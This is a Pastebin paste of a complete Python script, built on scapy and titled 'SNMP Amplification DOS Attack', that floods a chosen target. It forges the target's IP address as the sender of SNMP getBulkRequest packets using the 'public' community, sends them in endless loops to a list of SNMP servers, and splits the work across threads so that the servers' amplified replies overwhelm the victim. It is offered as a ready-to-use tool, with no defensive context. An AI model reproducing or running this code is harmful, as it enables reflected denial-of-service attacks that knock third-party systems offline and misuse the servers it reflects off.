Guest User

SNMP py

a guest
May 15th, 2014
2,609
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6.  
  7.  
  8.  
  9. #packet sender
  10. def deny():
  11. #Import globals to function
  12. global snmplist
  13. global currentserver
  14. global data
  15. global target
  16. snmpserver = snmplist[currentserver] #Get new server
  17. currentserver = currentserver + 1 #Increment for next
  18. packet = IP(dst=snmpserver,src=target)/UDP(sport=161,dport=161)/Raw(load=data) #BUILD IT
  19. send(packet,loop=1) #SEND IT
  20.  
  21. #So I dont have to have the same stuff twice
  22. def printhelp():
  23. print "SNMP Amplification DOS Attack"
  24. print "Usage snmpdos.py <target ip> <snmpserver list> <number of threads>"
  25. print "ex: ex: snmpdos.py 1.2.3.4 file.txt 10"
  26. print "SNMP serverlist file should contain one IP per line"
  27. print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  28. exit(0)
  29.  
  30. if len(sys.argv) < 4:
  31. printhelp()
  32. #Fetch Args
  33. target = sys.argv[1]
  34.  
  35. #Help out idiots
  36. if target in ("help","-h","h","?","--h","--help","/?"):
  37. printhelp()
  38.  
  39. snmpserverfile = sys.argv[2]
  40. numberthreads = int(sys.argv[3])
  41. #System for accepting bulk input
  42. snmplist = []
  43. currentserver = 0
  44. with open(snmpserverfile) as f:
  45. snmplist = f.readlines()
  46.  
  47. #Make sure we dont out of bounds
  48. if numberthreads > int(len(snmplist)):
  49. print "Attack Aborted: More threads than servers"
  50. print "Next time dont create more threads than servers"
  51. exit(0)
  52.  
  53. #Magic Packet getBulkEequest
  54. data = "\x30\x37\x02\x01" #snmp
  55. data += "\x01" #v2
  56. data += "\x04\x06\x70\x75\x62\x6c\x69\x63" #community=public
  57. data += "\xa5\x2a\x02\x04\x06\x29\x07\x31\x02\x01\x00\x02\x01\x0a\x30\x1c\x30\x0b\x06\x07\x2b\x06\x01\x02\x01\x01\x01\x05\x00\x30\x0d\x06\x09\x2b\x06\x01\x02\x01\x01\x09\x01\x03\x05\x00" #getBulkRequest
  58.  
  59.  
  60. #Hold our threads
  61. threads = []
  62. print "Starting to flood: "+ target + " using snmp list: " + snmpserverfile + " With " + str(numberthreads) + " threads"
  63. print "Use CTRL+C to stop attack"
  64.  
  65. #Thread spawner
  66. for n in range(numberthreads):
  67. thread = threading.Thread(target=deny)
  68. thread.daemon = True
  69. thread.start()
  70.  
  71. threads.append(thread)
  72.  
  73. #In progress!
  74. print "Sending..."
  75.  
  76. #Keep alive so ctrl+c still kills all them threads
  77. while True:
  78. time.sleep(1)
RAW Paste Data